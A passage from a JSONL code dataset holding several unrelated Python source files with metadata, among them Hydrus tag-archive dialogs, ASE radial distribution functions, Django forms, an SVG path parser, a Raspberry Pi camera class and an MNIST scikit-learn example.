options.components\r\n inFile = \"FApython20151019145628.txt\"\r\n #components = 1\r\n full_name = os.path.realpath(inFile)\r\n pos = full_name.find(\".txt\")\r\n result_name = full_name[:pos] + \"_result.txt\"\r\n result_dict = sd_fa(inFile,components,result_name=result_name)\r\n pass\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n","sub_path":"demo/sdmethod/sd_fa.py","file_name":"sd_fa.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"154021623","text":"from __future__ import print_function\nfrom IPython.core.magic import (Magics, magics_class, line_magic,\n cell_magic, line_cell_magic)\n\n\n@magics_class\nclass Vidette(Magics):\n\n def __init__(self, shell, data):\n # You must call the parent constructor\n super(Vidette, self).__init__(shell)\n self.ignore_counter = 0\n self.shell = shell\n self.cells = []\n\n # @line_magic\n # def vidette(self, line):\n # \"my line magic\"\n # print('holla!')\n # print(\"Full access to the main IPython object:\", self.shell)\n # print(\"Variables in the user namespace:\", list(self.shell.user_ns.keys()))\n # return line\n\n @cell_magic\n def init(self, line, cell):\n \"my cell magic\"\n # if self.ignore_counter == 0:\n # self.ignore_counter += 1\n # self.shell.run_cell(cell)\n # if line not in self.cells:\n self.shell.run_cell(cell)\n # self.cells.append(line)\n\n # return 'sup', line, cell, self.ignore_counter\n\n\n\n # @line_cell_magic\n # def lcmagic(self, line, cell=None):\n # \"Magic that works both as %lcmagic and as %%lcmagic\"\n # if cell is None:\n # print(\"Called as line magic\")\n # return line\n # else:\n # print(\"Called as cell magic\")\n # return line, cell\n\n","sub_path":"rePyNotebooks/vidette2/vidette.py","file_name":"vidette.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"229283255","text":"import ClientConstants as CC\nimport ClientGUIDialogs\nimport HydrusConstants as HC\nimport HydrusData\nimport HydrusGlobals as HG\nimport HydrusTagArchive\nimport HydrusTags\nimport os\nimport wx\n\ndef ExportToHTA( parent, service_key, hashes ):\n \n with wx.FileDialog( parent, style = wx.FD_SAVE, defaultFile = 'archive.db' ) as dlg:\n \n if dlg.ShowModal() == wx.ID_OK:\n \n path = HydrusData.ToUnicode( dlg.GetPath() )\n \n else:\n \n return\n \n \n \n message = 'Would you like to use hydrus\\'s normal hash type, or an alternative?'\n message += os.linesep * 2\n message += 'Hydrus uses SHA256 to identify files, but other services use different standards. MD5, SHA1 and SHA512 are available, but only for local files, which may limit your export.'\n message += os.linesep * 2\n message += 'If you do not know what this stuff means, click \\'normal\\'.'\n \n with ClientGUIDialogs.DialogYesNo( parent, message, title = 'Choose which hash type.', yes_label = 'normal', no_label = 'alternative' ) as dlg:\n \n result = dlg.ShowModal()\n \n if result in ( wx.ID_YES, wx.ID_NO ):\n \n if result == wx.ID_YES:\n \n hash_type = HydrusTagArchive.HASH_TYPE_SHA256\n \n else:\n \n list_of_tuples = []\n \n list_of_tuples.append( ( 'md5', HydrusTagArchive.HASH_TYPE_MD5 ) )\n list_of_tuples.append( ( 'sha1', HydrusTagArchive.HASH_TYPE_SHA1 ) )\n list_of_tuples.append( ( 'sha512', HydrusTagArchive.HASH_TYPE_SHA512 ) )\n \n with ClientGUIDialogs.DialogSelectFromList( parent, 'Select the hash type', list_of_tuples ) as hash_dlg:\n \n if hash_dlg.ShowModal() == wx.ID_OK:\n \n hash_type = hash_dlg.GetChoice()\n \n else:\n \n return\n \n \n \n \n \n \n if hash_type is not None:\n \n HG.client_controller.Write( 'export_mappings', path, service_key, hash_type, hashes )\n \n \ndef ImportFromHTA( parent, hta_path, tag_service_key, hashes ):\n \n hta = HydrusTagArchive.HydrusTagArchive( hta_path )\n \n potential_namespaces = list( hta.GetNamespaces() )\n \n potential_namespaces.sort()\n \n hash_type = hta.GetHashType() # this tests if the hta can produce a hashtype\n \n del hta\n \n service = HG.client_controller.services_manager.GetService( tag_service_key )\n \n service_type = service.GetServiceType()\n \n can_delete = True\n \n if service_type == HC.TAG_REPOSITORY:\n \n if service.HasPermission( HC.CONTENT_TYPE_MAPPINGS, HC.PERMISSION_ACTION_OVERRULE ):\n \n can_delete = False\n \n \n \n if can_delete:\n \n text = 'Would you like to add or delete the archive\\'s tags?'\n \n with ClientGUIDialogs.DialogYesNo( parent, text, title = 'Add or delete?', yes_label = 'add', no_label = 'delete' ) as dlg_add:\n \n result = dlg_add.ShowModal()\n \n if result == wx.ID_YES: adding = True\n elif result == wx.ID_NO: adding = False\n else: return\n \n \n else:\n \n text = 'You cannot quickly delete tags from this service, so I will assume you want to add tags.'\n \n wx.MessageBox( text )\n \n adding = True\n \n \n text = 'Choose which namespaces to '\n \n if adding: text += 'add.'\n else: text += 'delete.'\n \n list_of_tuples = [ ( HydrusData.ConvertUglyNamespaceToPrettyString( namespace ), namespace, False ) for namespace in potential_namespaces ]\n \n with ClientGUIDialogs.DialogCheckFromList( parent, text, list_of_tuples ) as dlg_namespaces:\n \n if dlg_namespaces.ShowModal() == wx.ID_OK:\n \n namespaces = dlg_namespaces.GetChecked()\n \n if hash_type == HydrusTagArchive.HASH_TYPE_SHA256:\n \n text = 'This tag archive can be fully merged into your database, but this may be more than you want.'\n text += os.linesep * 2\n text += 'Would you like to import the tags only for files you actually have, or do you want absolutely everything?'\n \n with ClientGUIDialogs.DialogYesNo( parent, text, title = 'How much do you want?', yes_label = 'just for my local files', no_label = 'everything' ) as dlg_add:\n \n result = dlg_add.ShowModal()\n \n if result == wx.ID_YES:\n \n file_service_key = CC.LOCAL_FILE_SERVICE_KEY\n \n elif result == wx.ID_NO:\n \n file_service_key = CC.COMBINED_FILE_SERVICE_KEY\n \n else:\n \n return\n \n \n \n else:\n \n file_service_key = CC.LOCAL_FILE_SERVICE_KEY\n \n \n text = 'Are you absolutely sure you want to '\n \n if adding: text += 'add'\n else: text += 'delete'\n \n text += ' the namespaces:'\n text += os.linesep * 2\n text += os.linesep.join( HydrusData.ConvertUglyNamespacesToPrettyStrings( namespaces ) )\n text += os.linesep * 2\n \n file_service = HG.client_controller.services_manager.GetService( file_service_key )\n \n text += 'For '\n \n if hashes is None:\n \n text += 'all'\n \n else:\n \n text += HydrusData.ConvertIntToPrettyString( len( hashes ) )\n \n \n text += ' files in \\'' + file_service.GetName() + '\\''\n \n if adding: text += ' to '\n else: text += ' from '\n \n text += '\\'' + service.GetName() + '\\'?'\n \n with ClientGUIDialogs.DialogYesNo( parent, text ) as dlg_final:\n \n if dlg_final.ShowModal() == wx.ID_YES:\n \n HG.client_controller.pub( 'sync_to_tag_archive', hta_path, tag_service_key, file_service_key, adding, namespaces, hashes )\n \n \n \n \n \ndef RenderNamespaceForUser( namespace ):\n \n # extend this to support ':' or whatever it was for 'all namespaces'\n if namespace == '' or namespace is None:\n \n return 'unnamespaced'\n \n else:\n \n return namespace\n \n \ndef RenderTag( tag, render_for_user ):\n \n ( namespace, subtag ) = HydrusTags.SplitTag( tag )\n \n if namespace == '':\n \n return subtag\n \n else:\n \n if render_for_user:\n \n new_options = HG.client_controller.new_options\n \n if new_options.GetBoolean( 'show_namespaces' ):\n \n connector = new_options.GetString( 'namespace_connector' )\n \n else:\n \n return subtag\n \n \n else:\n \n connector = ':'\n \n \n return namespace + connector + subtag\n \n \n","sub_path":"include/ClientTags.py","file_name":"ClientTags.py","file_ext":"py","file_size_in_byte":7800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"94125214","text":"from __future__ import print_function\nfrom __future__ import division\n\nimport math\n\nimport numpy as np\n\nfrom ase.io.trajectory import Trajectory\nfrom ase_tool.mass_center import calculate_mass_center\n\n\ndef get_distances(atoms, elements):\n distances = []\n for atom0 in atoms:\n if atom0.symbol == elements[0]:\n for atom1 in atoms:\n if atom1.symbol == elements[1]:\n distance = np.linalg.norm(atom0.position - atom1.position)\n distances.append(distance)\n return distances\n\n\n\n\ndef get_molecular_distance(atoms, molecule_list):\n distances = []\n mass_center = calculate_mass_center(atoms)\n for mol in molecule_list:\n mol_mass_center = calculate_mass_center(atoms, mol)\n distance = np.linalg.norm(mol_mass_center - mass_center) \n distances.append(distance)\n return distances\n\n\n\n\ndef calculate_gr(traj_name, elements, r_min, r_max, r_step, r_width, idx_start=None, idx_end=None):\n\n traj = Trajectory(traj_name)\n \n # index of first and last frame \n if idx_start == None:\n idx_start = 0\n if idx_end == None:\n idx_end = len(traj) - 1\n\n \n distances = []\n for idx, frame in enumerate(traj):\n if idx > idx_end:\n break\n if idx >= idx_start and idx <= idx_end:\n distances = distances + get_distances(frame, elements)\n\n rs = [ (r_min+i*r_step) for i in range(int((r_max-r_min)/r_step)+1) ]\n gr = [0.0 for r in rs]\n for distance in distances:\n for idx, r in enumerate(rs):\n if (distance <= r+r_width*0.5) and (distance >= r-r_width*0.5):\n gr[idx] = gr[idx] + 1.0\n\n r_in = max(rs[0]-r_width*0.5, 0.0)\n r_out = rs[-1]+r_width*0.5\n gr0 = sum(gr) / (r_out*r_out*r_out-r_in*r_in*r_in)\n\n for idx, g in enumerate(gr):\n r_in = max(rs[idx]-r_width*0.5, 0.0)\n r_out = rs[idx]+r_width*0.5\n gr[idx] = g / (r_out*r_out*r_out-r_in*r_in*r_in) / gr0\n\n return rs, gr\n\n\n\n\ndef calculate_molecular_density(traj_name, molecule_list, r_min, r_max, r_step, r_width, idx_start=None, idx_end=None):\n traj = Trajectory(traj_name)\n \n # index of first and last frame \n if idx_start == None:\n idx_start = 0\n if idx_end == None:\n idx_end = len(traj) - 1\n\n distances = []\n for idx, frame in enumerate(traj):\n if idx > idx_end:\n break\n if idx >= idx_start and idx <= idx_end:\n distances = distances + get_molecular_distance(frame, molecule_list)\n\n rs = [ (r_min+i*r_step) for i in range(int((r_max-r_min)/r_step)+1) ]\n mol_den = [0.0 for r in rs]\n for distance in distances:\n for idx, r in enumerate(rs):\n if (distance <= r+r_width*0.5) and (distance >= r-r_width*0.5):\n mol_den[idx] = mol_den[idx] + 1.0\n\n for idx, d in enumerate(mol_den):\n r_in = max(rs[idx]-r_width*0.5, 0.0)\n r_out = rs[idx]+r_width*0.5\n volum = 3.0/4.0 * math.pi * (r_out*r_out*r_out-r_in*r_in*r_in)\n mol_den[idx] = d / volum\n\n return rs, mol_den","sub_path":"ase_tool/rdf.py","file_name":"rdf.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"645085463","text":"import os\nimport sys\nfrom os.path import exists \nusername = sys.argv[1]\nfilename = sys.argv[2]\npage = sys.argv[3]\n#相对路径\npage_path = \"/Users/mingzhehuang/project/files/\"+username+\"/output/\"+filename+\"/\"+page+\"/\"\nos.makedirs(page_path)\nif(exists(page_path)):\n\tprint('succcess')\n\nelse:\n\tprint('failed')\n","sub_path":"project/python/make_page_directory.py","file_name":"make_page_directory.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"174435511","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom django.forms.extras.widgets import SelectDateWidget\nfrom form_utils.widgets import ImageWidget\n\nfrom frontEnd.widgets.datetime import SelectTimeWidget\nfrom users.models import Shipper # I feel like we should be able to use this somehow\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Submit, HTML, Button, Row, Field, MultiWidgetField\nfrom crispy_forms.bootstrap import AppendedText, PrependedText, FormActions, AppendedPrependedText\n\nclass SenderForm(forms.Form):\n # identifier = forms.CharField(max_length=40)\n\n first_name = forms.CharField(label=\"First Name: \", max_length=50, required=True)\n last_name = forms.CharField(label=\"Last Name: \", max_length=50, required=False)\n # rating = forms.IntegerField(validators=[MinValueValidator(0),\n # MaxValueValidator(5)])\n address = forms.CharField(max_length=50)\n city = forms.CharField(max_length=50)\n state = forms.CharField(max_length=50)\n\n\n # Uni-form\n helper = FormHelper()\n helper.form_class = 'form-horizontal'\n helper.label_class = 'col-lg-2'\n helper.field_class = 'col-lg-8'\n helper.layout = Layout(\n Field('first_name', css_class='input-xlarge'),\n Field('last_name', css_class='input-xlarge'),\n Field('address', css_class='input-xlarge'),\n Field('city', css_class='input-xlarge'),\n Field('state', css_class='input-xlarge'),\n\n FormActions(\n Submit('save_changes', 'Save changes', css_class=\"btn-primary\"),\n Submit('cancel', 'Cancel'),\n )\n )\n helper.form_method = 'post'\n helper.form_action = '/sender_post/'\n\nclass DriverForm(forms.Form):\n # identifier = forms.CharField(max_length=40)\n\n first_name = forms.CharField(label=\"First Name: \", max_length=50, required=True)\n last_name = forms.CharField(label=\"Last Name: \", max_length=50, required=False)\n # rating = forms.IntegerField(validators=[MinValueValidator(0),\n # MaxValueValidator(5)])\n address = forms.CharField(max_length=50)\n city = forms.CharField(max_length=50)\n state = forms.CharField(max_length=50)\n phone_number = forms.CharField(max_length=50)\n ship_capacity = forms.IntegerField()\n vehicle_model = forms.CharField(max_length=50)\n\n photo = forms.ImageField()\n\n # Uni-form\n helper = FormHelper()\n helper.form_class = 'form-horizontal'\n helper.label_class = 'col-lg-2'\n helper.field_class = 'col-lg-8'\n helper.layout = Layout(\n Field('first_name', css_class='input-xlarge'),\n Field('last_name', css_class='input-xlarge'),\n Field('address', css_class='input-xlarge'),\n Field('city', css_class='input-xlarge'),\n Field('state', css_class='input-xlarge'),\n\n Field('phone_number', css_class='input-xlarge'),\n Field('ship_capacity', css_class='input-xlarge'),\n Field('vehicle_model', css_class='input-xlarge'),\n Field('photo', css_class='input-xlarge'),\n\n FormActions(\n Submit('save_changes', 'Save changes', css_class=\"btn-primary\"),\n Submit('cancel', 'Cancel'),\n )\n )\n helper.form_method = 'post'\n helper.form_action = '/driver_post/'\n\nclass SendForm(forms.Form):\n name = forms.CharField(max_length=50)\n description = forms.CharField(max_length=140, widget=forms.Textarea(attrs=({'rows': 9})))\n\n start_address = forms.CharField(max_length=50)\n start_city = forms.CharField(max_length=50)\n start_state = forms.CharField(max_length=50)\n end_address = forms.CharField(max_length=50)\n end_city = forms.CharField(max_length=50)\n end_state = forms.CharField(max_length=50)\n\n pick_up_date = forms.DateField(widget=SelectDateWidget())\n\n drop_date = forms.DateField(widget=SelectDateWidget())\n\n weight = forms.IntegerField()\n dimensions = forms.CharField(max_length=20)\n payment = forms.IntegerField()\n max_wait = forms.IntegerField()\n\n photo = forms.ImageField(widget=ImageWidget())\n json = forms.CharField(max_length=1024)\n\n # Uni-form\n helper = FormHelper()\n helper.form_class = 'form-vertical'\n helper.label_class = 'col-sm-2'\n helper.field_class = 'col-sm-4'\n helper.layout = Layout(\n Div(\n Div('name'),\n MultiWidgetField('pick_up_date', attrs=({'style': 'width: 33%; display: inline-block;'})),\n css_class=\"row\"\n ),\n Div(\n Div('description',),\n Div('start_address', css_class=\"side-form\"),\n Div('start_city', css_class=\"side-form\"),\n Div('start_state', css_class=\"side-form extra-space\"),\n MultiWidgetField('drop_date', attrs=({'style': 'width: 33%; display: inline-block;'}), css_class=\"side-form\"),\n css_class=\"row\",\n ),\n Div(\n Div('weight'),\n Div('end_address', css_class=\"side-form\"),\n css_class=\"row\"\n ),\n Div(\n Div('dimensions'),\n Div('end_city'),\n css_class=\"row\",\n ),\n Div(\n Div('end_state'),\n Div(AppendedText('payment', '$')),\n css_class=\"row\"\n ),\n Div(\n Div('photo'),\n Div('max_wait'),\n css_class=\"row\",\n ),\n Div(\n Div('json', css_class=\"json_pack\"),\n css_class=\"row\",\n ),\n\n\n # Field('start_state', css_class='input-xlarge'),\n # Field('end_address', css_class='input-xlarge'),\n # Field('end_city', css_class='input-xlarge'),\n # Field('end_state', css_class='input-xlarge'),\n # Field('pick_up_date', css_class='input-xlarge'),\n # Field('pick_up_beginning_time', css_class='input-xlarge'),\n # Field('pick_up_end_time'),\n # Field('drop_date', css_class='input-xlarge'),\n # Field('drop_beginning_time', css_class='input-xlarge'),\n # Field('drop_end_time', css_class='input-xlarge'),\n # Field('weight', css_class='input-xlarge'),\n # Field('dimensions', css_class='input-xlarge'),\n # Field('payment', css_class='input-xlarge'),\n # Field('max_wait', css_class='input-xlarge'),\n # Field('photo', css_class='input-xlarge'),\n\n\n FormActions(\n Submit('save_changes', 'Save changes', css_class=\"btn-primary send-btns\"),\n Submit('cancel', 'Cancel', css_class='send-btns'),\n )\n )\n helper.form_method = 'post'\n helper.form_action = '/send_post/'\n\n\nclass EditForm(SendForm):\n \"\"\"docstring for EditForm\"\"\"\n SendForm.helper.form_method = 'post'\n SendForm.helper.form_action = '/edit_post/'\n","sub_path":"PickUpMyStuff/frontEnd/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"523201326","text":"import picamera\nimport time\nimport threading\n\n\ninterval = 1\n## class Camera\n# A class concerning the camera of the raspberry pi.\n##\nclass Camera:\n global interval\n # @post The camera is set to the camera of the pi\n # @post The camera is not yet going\n # @post There is yet no thread\n def __init__(self):\n self.__camera = picamera.PiCamera()\n self.__going = False\n self.__thread = None\n # While self.__going is True, each global_time a picture (saved as picture.jpg) is taken.\n def take_pictures(self):\n while self.__going:\n self.__camera.capture('picture.jpg')\n time.sleep(interval)\n # Start a new thread with take pictures\n # @post The thread is set to new thread\n # @post Camera is going\n def on(self):\n self.__going = True\n self.__thread = threading.Thread(target=self.__take_pictures)\n self.__thread.setDaemon('True')\n self.__thread.start()\n # To stop the camera\n # @post The camera is not longer going\n # @post There is no thread more\n def off(self):\n self.__going = False\n self.__thread = None\n","sub_path":"Oude code/Python/Oude code/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"36825160","text":"from svg_path_commands import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass SvgPathUnexpectedParameterException(BaseException):\n\tpass\n\t\nclass SvgPathInsufficientParametersException(BaseException):\n\tpass\n\t\t\n\nclass SvgPath():\n\t\t\n\tdef __init__(self, pathdata: str, transform: None):\n\t\t\n\t\tself._commands = []\n\t\tself._vertices = []\n\t\tself._pathstart = None\n\n\t\tself._transform = transform\n\t\tself._pathdata = pathdata\n\n\t\tself.parse_commands_from_pathdata()\n\t\tassert self.commands[0].type == 'M'\n\t\tself.calculate_vertices()\n\t\t\n\t@property\n\tdef commands(self):\n\t\treturn self._commands\n\n\tdef preprocess_and_tokenize_pathdata(self):\n\t\tdata = self._pathdata\n\t\t\n\t\tfor command in KNOWN_COMMANDS:\n\t\t\tdata = data.replace(command, ' ' + command + ' ')\n\t\t\n\t\tdata = data.replace('-', ' -')\n\t\t\n\t\tdata = data.replace(',', ' ')\n\t\t\n\t\twhile ' ' in data:\n\t\t\tdata = data.replace(' ', ' ')\n\t\tdata = data.strip()\n\t\t\n\t\tneed_space_here = []\n\t\tlooking_for_space = False\n\t\tfor index, character in enumerate(data):\n\t\t\tif character == '.' and not looking_for_space:\n\t\t\t\tlooking_for_space = True\n\t\t\telif character == '.' and looking_for_space:\n\t\t\t\tlooking_for_space = True\n\t\t\t\tneed_space_here.append(index)\n\t\t\telif character == ' ':\n\t\t\t\tlooking_for_space = False\n\t\t\t\t\n\t\toffset = 0\n\t\tfor index in need_space_here:\n\t\t\tdata = data[:index+offset] + ' 0' +data[index+offset:]\n\t\t\toffset += 2\n\t\t\t\t\n\t\treturn data.split(' ')\n\t\t\t\t\t\t\n\tdef parse_commands_from_pathdata(self):\n\t\ttokens = self.preprocess_and_tokenize_pathdata()\n\t\tthis_command_type = None\n\t\tthis_command_parameters = []\n\t\tfor token in tokens:\n\t\t\tif token.isalpha():\n\t\t\t\tif this_command_type is not None:\n\t\t\t\t\tself.add_command(this_command_type, this_command_parameters)\n\t\t\t\tthis_command_type = token\n\t\t\t\tthis_command_parameters = []\n\t\t\telse:\n\t\t\t\tif this_command_type is not None:\n\t\t\t\t\tthis_command_parameters.append(float(token))\n\t\t\t\telif token == '':\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise SvgPathUnexpectedParameterException()\n\t\t\n\t\tself.add_command(this_command_type, this_command_parameters)\n\t\t\n\t\twhile self.check_for_multiple_parameters() > 0:\n\t\t\tpass\n\t\t\n\tdef check_for_multiple_parameters(self):\n\t\tindices_where_to_insert = []\n\t\t\n\t\tfor index, command in enumerate(self._commands):\n\t\t\tn = required_num_of_parameters[command.type]\n\t\t\tif len(command.parameters) > n:\n\t\t\t\t#need to split this command into two...\n\t\t\t\tindices_where_to_insert.append(index)\n\t\t\telif len(command.parameters) < n:\n\t\t\t\tprint('command {} does not have enough parameters (got {})'.format(command.type, len(command.parameters)))\n\t\t\t\traise SvgPathInsufficientParametersException\n\t\t\t\t\n\t\toffset = 0\n\t\tfor index in indices_where_to_insert:\n\t\t\tjndex = index + offset\n\t\t\tn = required_num_of_parameters[self._commands[jndex].type]\n\t\t\tnew_type = self._commands[jndex].type\n\t\t\tnew_parameters = self._commands[jndex].parameters[n:]\n\t\t\tself._commands[jndex].parameters = self._commands[jndex].parameters[:n]\n\t\t\tnew_command = SvgPathCommand(new_type, new_parameters)\n\t\t\tself._commands = self._commands[:jndex+1] + [new_command] + self._commands[jndex+1:]\n\t\t\toffset += 1\n\t\t\t\n\t\treturn len(indices_where_to_insert)\n\t\t\t\t\t\n\tdef add_command(self, command_type, parameters):\n\t\tself._commands.append(SvgPathCommand(command_type, parameters))\n\t\n\t@property\n\tdef vertices(self):\n\t\treturn self._vertices\n\t\t\n\tdef transform_vertices(self, vertices):\n\t\tx_offset, y_offset = self.get_translate_offset()\n\t\tvertices = [(x+x_offset, y+y_offset) for x, y in vertices]\n\t\treturn vertices\t\t\t\t\n\t\t\t\n\tdef calculate_vertices(self):\n\t\tvertices = []\n\t\tcurrent_vertex = None\n\t\tfor command in self.commands:\n\t\t\tcurrent_vertex = self.get_next_vertex(command, current_vertex)\n\t\t\tvertices.append(current_vertex)\n\t\t\n\t\tself._vertices = self.transform_vertices(vertices)\n\t\n\t\treturn self._vertices\n\t\t\n\tdef get_translate_offset(self):\n\t\tif self._transform is not None:\n\t\t\tself._transform = self._transform.replace(',', ' ')\n\t\t\twhile ' ' in self._transform:\n\t\t\t\tself._transform = self._transform.replace(' ', ' ')\n\t\t\t\n\t\t\ttry:\n\t\t\t\tfirst, second = self._transform.split('(')[1].split(' ')\n\t\t\t\tfirst = float(first)\n\t\t\t\tsecond = float(second[:-1])\n\t\t\t\treturn first, second\n\t\t\texcept:\n\t\t\t\t# only a single item to unpack --> assume y_offset == 0\n\t\t\t\tfirst = self._transform.split('(')[1]\n\t\t\t\tfirst = float(first[:-1])\n\t\t\t\treturn (first, 0.)\n\t\telse:\n\t\t\treturn (0., 0.)\n\t\t\n\tdef get_next_vertex(self, command, current_vertex):\n\t\tif command.type == 'M':\n\t\t\tnext_vertex = (command.parameters[0], command.parameters[1])\n\t\t\tif self._pathstart is None:\n\t\t\t\tself._pathstart = next_vertex\n\t\telif command.type == 'L':\n\t\t\tnext_vertex = (command.parameters[0], command.parameters[1])\n\t\telif command.type == 'H':\n\t\t\tnext_vertex = (command.parameters[0], current_vertex[1])\n\t\telif command.type == 'V':\n\t\t\tnext_vertex = (current_vertex[0], command.parameters[0])\t\t\t\n\t\telif command.type == 'm':\n\t\t\tnext_vertex = (command.parameters[0]+current_vertex[0], command.parameters[1]+current_vertex[1])\n\t\telif command.type == 'l':\n\t\t\tnext_vertex = (command.parameters[0]+current_vertex[0], command.parameters[1]+current_vertex[1])\n\t\telif command.type == 'h':\n\t\t\tnext_vertex = (command.parameters[0]+current_vertex[0], current_vertex[1])\n\t\telif command.type == 'v':\n\t\t\tnext_vertex = (current_vertex[0], command.parameters[0]+current_vertex[1])\n\t\telif command.type.lower() == 'z':\n\t\t\tif self._pathstart is not None:\n\t\t\t\tnext_vertex = self._pathstart\n\t\t\telse:\n\t\t\t\traise Exception(msg='No path start to go to!')\n\t\t\t\t\n\t\treturn next_vertex\n\t\t\n\tdef calculate_length(self):\n\t\tpathlength = 0.\n\t\tcurrent_vertex = self.vertices[0]\n\t\tself._subpath_length = []\n\t\tfor next_vertex in self.vertices[1:]:\n\t\t\tself._subpath_length.append(\n\t\t\t\tself.calculate_distance_between(current_vertex, next_vertex)\n\t\t\t) \n\t\t\tcurrent_vertex = next_vertex\n\t\treturn np.sum(self._subpath_length)\n\t\t\n\tdef calculate_distance_between(self, start_vertex, end_vertex):\n\t\t(x0, y0) = start_vertex\n\t\t(x1, y1) = end_vertex\n\t\treturn np.sqrt((y1-y0)**2+(x1-x0)**2)\n\t\n\tdef interpolate_vertices(self, ratio, start_vertex, end_vertex):\n\t\t(x0, y0) = start_vertex\n\t\t(x1, y1) = end_vertex\n\t\treturn (ratio*(x1-x0)+x0, ratio*(y1-y0)+y0)\n\t\t\n\tdef get_coordinates(self, n_coordinates: int):\n\t\tassert n_coordinates > 0\n\t\tif n_coordinates == 1:\n\t\t\treturn self.vertices[0]\n\t\t\n\t\tpath_length = self.calculate_length()\n\t\tn_segments = n_coordinates - 1\n\t\tsegment_length = path_length / n_segments\n\t\t\n\t\tcoordinates = [self.vertices[0]]\n\t\tsubpath_index = 0\n\t\tcumulative_distance_to_next_vertex = self._subpath_length[subpath_index]\n\t\tfor index in range(1, n_coordinates):\n\t\t\tdistance_to_coordinate = index*segment_length\n\t\t\t\n\t\t\twhile distance_to_coordinate > cumulative_distance_to_next_vertex + 10**-8:\n\t\t\t\tsubpath_index += 1\n\t\t\t\tcumulative_distance_to_next_vertex += self._subpath_length[subpath_index]\n\t\t\t\n\t\t\tbefore_vertex = self.vertices[subpath_index]\n\t\t\tafter_vertex = self.vertices[subpath_index+1]\n\t\t\t\n\t\t\tcumulative_distance_to_before_vertex = cumulative_distance_to_next_vertex - self._subpath_length[subpath_index]\n\t\t\t\n\t\t\tsubpath_portion = distance_to_coordinate - cumulative_distance_to_before_vertex\n\t\t\tsubpath_length = self.calculate_distance_between(before_vertex, after_vertex);\n\t\t\tsubpath_ratio = subpath_portion / subpath_length\n\t\t\t\t\t\t\n\t\t\tnext_coordinate = self.interpolate_vertices(subpath_ratio, before_vertex, after_vertex) \n\n\t\t\tcoordinates.append(next_coordinate)\t\t\t\n\t\t\t\n\t\treturn coordinates\n\t\t\n\tdef plot(self, n_coordinates: int, x_offset=0., y_offset=0.):\n\t\tcoordinates = self.get_coordinates(n_coordinates)\n\t\tx = [element[0]+x_offset for element in coordinates]\n\t\ty = [element[1]+y_offset for element in coordinates]\n\t\tplt.plot(x, -1*np.array(y))\n\t\tplt.show()\n","sub_path":"svg_path.py","file_name":"svg_path.py","file_ext":"py","file_size_in_byte":7637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"352230626","text":"\"\"\"\nFrom: https://scikit-learn.org/stable/auto_examples/neural_networks/plot_mnist_filters.html\nThis is an example of using scikit learn and integrating missinglink\n\"\"\"\n\nimport numpy as np\nfrom sklearn import neural_network, linear_model, ensemble\nfrom sklearn.datasets import fetch_openml, get_data_home\nfrom sklearn.metrics import confusion_matrix, accuracy_score\nfrom skimage.transform import rotate\n\nprint(__doc__)\n\n# Load data from https://www.openml.org/d/554\nprint(\"Loading data\")\nprint(\"Data home: {}\".format(get_data_home()))\ndata, target = fetch_openml('mnist_784', version=1, return_X_y=True)\nrotate = False\nmodel_type = \"forest\"\n#model_type = \"mlp\"\n\n# rescale the data, use the traditional train/test split\nprint(\"Rescaling {} datapoints\".format(data.shape))\ndata = data / 255.\nsplit = 10000 # out of 70000\ndata_train, data_test = data[:split], data[split:]\ntarget_train, target_test = target[:split], target[split:]\n\nif rotate:\n print(\"Adding rotation\")\n data_train = np.append(data_train, [rotate(im.reshape((28, 28)), 90).reshape(784) for im in data_train], axis=0)\n target_train = np.append(target_train, target_train, axis=0)\n\nprint(\"Instantiating Multi-layer-perceptron\")\nif model_type == \"mlp\":\n model = neural_network.MLPClassifier(hidden_layer_sizes=(50,),\n max_iter=6,\n alpha=1e-4,\n solver='sgd',\n verbose=10,\n tol=1e-4,\n random_state=1,\n learning_rate_init=.1)\nelif model_type == \"forest\":\n model = ensemble.RandomForestClassifier(n_estimators=20)\n\nprint(\"fit\")\nmodel.fit(data_train, target_train)\ndata_train_pred = model.predict(data_train)\naccuracy = accuracy_score(target_train, data_train_pred)\nprint(\"Training set accuracy: %f\" % accuracy)\n\nprint(\"test\")\ndata_test_pred = model.predict(data_test)\naccuracy = accuracy_score(target_test, data_test_pred)\nprint(\"Test set accuracy: %f\" % accuracy)\nprint(\"Confusion matrix:\")\nprint(confusion_matrix(target_test, data_test_pred))\n","sub_path":"scikit-learn/tutorial/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"129812743","text":"#!/usr/bin/python3\n\"\"\"\n Script that takes in a letter and sends a POST request to\n https://0.0.0.0:5000/search_user with the letter as a parameter\n the letter is sent in variable q, otherwise q is empty\n displays [] if repsonse is properly JSON formatted\n\"\"\"\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n payload = {'q': sys.argv[1]}\n else:\n payload = {'q': \"\"}\n\n r = requests.post(\"http://0.0.0.0:5000/search_user\", data=payload)\n\n try:\n r_json = r.json()\n if r_json == {}:\n print(\"No result\")\n else:\n print(\"[{}] {}\".format(r_json['id'], r_json['name']))\n except ValueError:\n print(\"Not a valid 